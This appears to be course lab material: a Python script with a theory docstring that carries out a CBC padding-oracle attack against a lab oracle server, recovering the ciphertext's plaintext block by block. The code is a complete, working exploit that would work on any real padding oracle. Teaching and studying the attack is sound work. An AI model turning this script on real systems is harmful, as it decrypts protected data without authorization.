"""
CBC Padding-Oracle Attacker -- Chapter 10, Lab 2.

Implements the classic padding-oracle byte-recovery attack against
the oracle_server running at ORACLE_URL.

Theory
------
For AES-CBC, the decryption of ciphertext block C_i is:

    P_i = D_K(C_i) XOR C_{i-1}

The oracle tells us whether the *last* decrypted byte (or bytes) is
valid PKCS#7 padding.  We exploit this one bit at a time:

1. Fix a "crafted IV" (for a single-block attack, this is our C_{i-1}).
2. Iterate guess g over 0..255 for the last byte.
3. Set crafted_iv[-1] = g XOR 0x01 XOR original_iv[-1].
4. Ask the oracle: does (crafted_iv, C_i) have valid padding?
5. If yes, the decrypted last byte is 0x01 (with high probability),
   so D_K(C_i)[-1] = g XOR 0x01.
6. Repeat with 0x02 padding to recover the second-to-last byte, etc.

Usage
-----
Run AFTER starting the oracle server:

    python attacker.py [--url http://oracle:5000]

Expected output: the recovered plaintext printed in hex and as ASCII.
"""

import argparse
import sys
import requests


def oracle(url: str, iv: bytes, ct: bytes) -> bool:
    resp = requests.post(f"{url}/check", json={"iv": iv.hex(), "ct": ct.hex()})
    resp.raise_for_status()
    return resp.json()["valid"]


def decrypt_block(url: str, iv: bytes, ct_block: bytes) -> bytes:
    """Recover one 16-byte plaintext block given its IV (previous ciphertext block)."""
    assert len(iv) == 16 and len(ct_block) == 16

    # intermediate = D_K(ct_block); plaintext = intermediate XOR iv
    intermediate = bytearray(16)

    for byte_pos in range(15, -1, -1):
        pad_val = 16 - byte_pos          # desired padding value
        # Set bytes we already recovered so they produce pad_val
        crafted_iv = bytearray(iv)
        for k in range(byte_pos + 1, 16):
            crafted_iv[k] = intermediate[k] ^ pad_val

        found = False
        for guess in range(256):
            crafted_iv[byte_pos] = guess
            if oracle(url, bytes(crafted_iv), ct_block):
                # Verify: make sure it's not a false positive from pad > 1
                if byte_pos == 15:
                    # Flip the byte before to ensure it's \x01, not \x02\x02 etc.
                    verify_iv = bytearray(crafted_iv)
                    verify_iv[byte_pos - 1] ^= 0x01
                    if not oracle(url, bytes(verify_iv), ct_block):
                        continue  # false positive
                intermediate[byte_pos] = guess ^ pad_val
                found = True
                print(f"  byte {byte_pos:2d}: 0x{intermediate[byte_pos]:02x}", flush=True)
                break

        if not found:
            print(f"  byte {byte_pos}: NOT FOUND (oracle may be unreachable)", file=sys.stderr)
            intermediate[byte_pos] = 0

    plaintext = bytes(i ^ v for i, v in zip(intermediate, iv))
    return plaintext


def main():
    parser = argparse.ArgumentParser(description="CBC padding-oracle attacker (Lab 2)")
    parser.add_argument("--url", default="http://oracle:5000", help="Oracle base URL")
    args = parser.parse_args()

    print(f"[*] Fetching target ciphertext from {args.url}/target")
    resp = requests.get(f"{args.url}/target")
    resp.raise_for_status()
    data = resp.json()
    iv = bytes.fromhex(data["iv"])
    ct = bytes.fromhex(data["ct"])
    print(f"[*] IV : {iv.hex()}")
    print(f"[*] CT : {ct.hex()}")
    print(f"[*] Ciphertext is {len(ct)} bytes ({len(ct)//16} block(s))")

    # Decrypt each 16-byte block
    recovered = b""
    blocks = [ct[i:i+16] for i in range(0, len(ct), 16)]
    ivs = [iv] + blocks[:-1]   # each block's IV is the preceding ciphertext block

    for i, (block_iv, block_ct) in enumerate(zip(ivs, blocks)):
        print(f"\n[*] Attacking block {i+1}/{len(blocks)} ...")
        pt_block = decrypt_block(args.url, block_iv, block_ct)
        recovered += pt_block
        print(f"[+] Block {i+1} raw: {pt_block.hex()}  ({pt_block!r})")

    # Strip PKCS#7 padding from the last block
    pad_len = recovered[-1]
    if 1 <= pad_len <= 16 and recovered[-pad_len:] == bytes([pad_len] * pad_len):
        recovered = recovered[:-pad_len]

    print(f"\n[+] Recovered plaintext (hex): {recovered.hex()}")
    print(f"[+] Recovered plaintext (ASCII): {recovered.decode('ascii', errors='replace')}")


if __name__ == "__main__":
    main()
